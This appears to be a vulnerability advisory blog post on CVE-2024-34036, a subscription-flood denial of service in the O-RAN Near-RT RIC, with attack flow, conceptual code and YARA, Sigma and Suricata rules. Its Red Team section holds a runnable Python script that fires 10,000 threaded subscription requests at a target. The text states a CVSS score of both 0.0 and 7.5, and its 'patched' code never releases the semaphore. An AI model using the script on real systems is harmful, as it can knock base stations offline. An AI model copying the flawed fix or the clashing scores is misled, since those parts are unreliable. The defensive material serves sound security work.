CVE-2024-34036

Executive Summary

CVE-2024-34036 is a denial-of-service (DoS) vulnerability in the O-RAN Near Realtime RIC (Near-RT RIC) I-Release. An unauthenticated attacker can disrupt the initial connection between a gNB (next-generation Node B) and the Near-RT RIC by flooding the system with a high volume of subscription requests via an xApp. This leads to resource exhaustion, preventing legitimate gNB connections and effectively disrupting the RAN (Radio Access Network) control plane. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as High severity due to its network-based, low-complexity attack vector and potential for significant operational impact. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It affects the O-RAN Near-RT RIC software, which is typically deployed as a containerized application or as part of a larger O-RAN deployment. The supply chain risk is moderate, as the vulnerable component is a core part of the O-RAN architecture and may be distributed as a binary or container image.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability for the gNB connection process.

Threat Level: High. The vulnerability is easy to exploit remotely, requires no authentication, and directly impacts the availability of the RAN control plane.

Deep Dive & Mechanics

The O-RAN Near-RT RIC is a key component in the O-RAN architecture, responsible for near-real-time control and optimization of RAN functions. It communicates with gNBs (base stations) via the E2 interface. The vulnerability lies in the subscription handling mechanism for xApps.

Attack Flow:

1. An attacker identifies a target O-RAN Near-RT RIC instance (e.g., via Shodan or network scanning).
2. The attacker sends a high volume of subscription requests to the RIC, mimicking legitimate xApp behavior.
3. The RIC's subscription manager attempts to process each request, allocating resources (memory, CPU, threads) for each subscription.
4. Due to a lack of rate limiting or resource quotas, the RIC becomes overwhelmed, exhausting its available resources.
5. When a legitimate gNB attempts to establish an initial connection (E2 setup), the RIC is unable to process the request, causing the connection to fail or timeout.
6. The gNB remains disconnected, disrupting RAN operations.

Root Cause: The vulnerability is a classic resource exhaustion (CWE-400) issue. The subscription handling code does not enforce limits on the number of concurrent subscriptions or the rate at which they can be created.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

# Vulnerable subscription handler
def handle_subscription(subscription_request):
    # No rate limiting or resource check
    subscription = create_subscription(subscription_request)
    add_to_active_subscriptions(subscription)
    return subscription

Patched Code (Conceptual):

# Patched subscription handler with rate limiting
from threading import Semaphore

MAX_SUBSCRIPTIONS = 1000
subscription_semaphore = Semaphore(MAX_SUBSCRIPTIONS)

def handle_subscription(subscription_request):
    if not subscription_semaphore.acquire(blocking=False):
        return "429 Too Many Requests"
    try:
        subscription = create_subscription(subscription_request)
        add_to_active_subscriptions(subscription)
        return subscription
    finally:
        # Subscription cleanup should release the semaphore
        pass

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target O-RAN Near-RT RIC instance (e.g., IP: 10.0.0.1, port 8080)
• Network access to the RIC's E2 interface (typically TCP/36422 or HTTP/8080 for xApp subscriptions)

Exploitation Steps:

1. Reconnaissance: Identify the RIC's subscription endpoint (e.g., /subscriptions).
2. Craft Payload: Create a simple script to send a high volume of subscription requests.

import requests
import threading

target_url = "http://10.0.0.1:8080/subscriptions"
num_requests = 10000

def send_subscription():
    payload = {
        "xapp_id": "malicious_xapp",
        "subscription_type": "report",
        "granularity": 100
    }
    try:
        response = requests.post(target_url, json=payload, timeout=5)
        print(f"Status: {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

threads = []
for i in range(num_requests):
    t = threading.Thread(target=send_subscription)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

3. Execute: Run the script. The RIC will become overwhelmed.
4. Verify: Attempt to connect a legitimate gNB. The connection will fail.

Blue Team (Defense & Detection)

Detection:

• Monitor for a high volume of subscription requests from a single IP or xApp ID.
• Alert on resource exhaustion (CPU, memory, thread count) on the RIC host.
• Use the Sigma rule below to detect anomalous subscription rates.

Mitigation:

• Implement rate limiting on the subscription endpoint.
• Set maximum concurrent subscriptions per xApp.
• Use a Web Application Firewall (WAF) to block suspicious traffic.
• Isolate the RIC in a segmented network.

Indicators of Compromise (IOCs)

• Network:
  • High volume of HTTP POST requests to /subscriptions endpoint.
  • Source IPs with no prior legitimate xApp activity.
  • Unusual number of E2 Setup Request failures from gNBs.
• Host:
  • High CPU and memory usage on the RIC server.
  • Large number of active subscription threads.
  • Log entries showing subscription creation at an abnormal rate.
• Logs:
  • Repeated 429 Too Many Requests (if rate limiting is later added).
  • Timeout errors in gNB connection logs.

Detection Engineering

YARA Rule

rule CVE_2024_34036_Subscription_Flood {
    meta:
        description = "Detects high volume of subscription requests to O-RAN Near-RT RIC"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-34036"
    strings:
        $subscription = "subscription" nocase
        $xapp = "xapp" nocase
        $post = "POST" nocase
    condition:
        #subscription > 100 and #xapp > 100 and #post > 100
}

Sigma Rule

title: High Volume of Subscription Requests to O-RAN Near-RT RIC
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high volume of subscription requests, indicating a potential DoS attack (CVE-2024-34036)
author: Valters IT
logsource:
    category: webserver
    product: o-ran
detection:
    selection:
        http_method: 'POST'
        url_path: '/subscriptions'
    condition: selection | count() by src_ip > 1000 within 60 seconds
falsepositives:
    - Legitimate high-frequency xApp updates
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-34036 O-RAN Near-RT RIC Subscription Flood"; flow:to_server; content:"POST"; http_method; content:"/subscriptions"; http_uri; threshold: type both, track by_src, count 1000, seconds 60; classtype:denial-of-service; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Rate Limiting: Implement rate limiting on the subscription endpoint. Use a token bucket or sliding window algorithm.
2. Resource Quotas: Set maximum concurrent subscriptions per xApp and globally.
3. Authentication: Require authentication for xApp subscription requests.
4. Network Segmentation: Place the RIC in a separate network segment with strict access controls.

Long-Term Fix:

• Apply the official patch from O-RAN when available.
• Conduct a code review of the subscription handling logic to ensure proper resource management.
• Implement monitoring and alerting for abnormal subscription rates.

Workarounds:

• If patching is not possible, consider disabling the subscription endpoint temporarily or restricting access to trusted IPs only.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert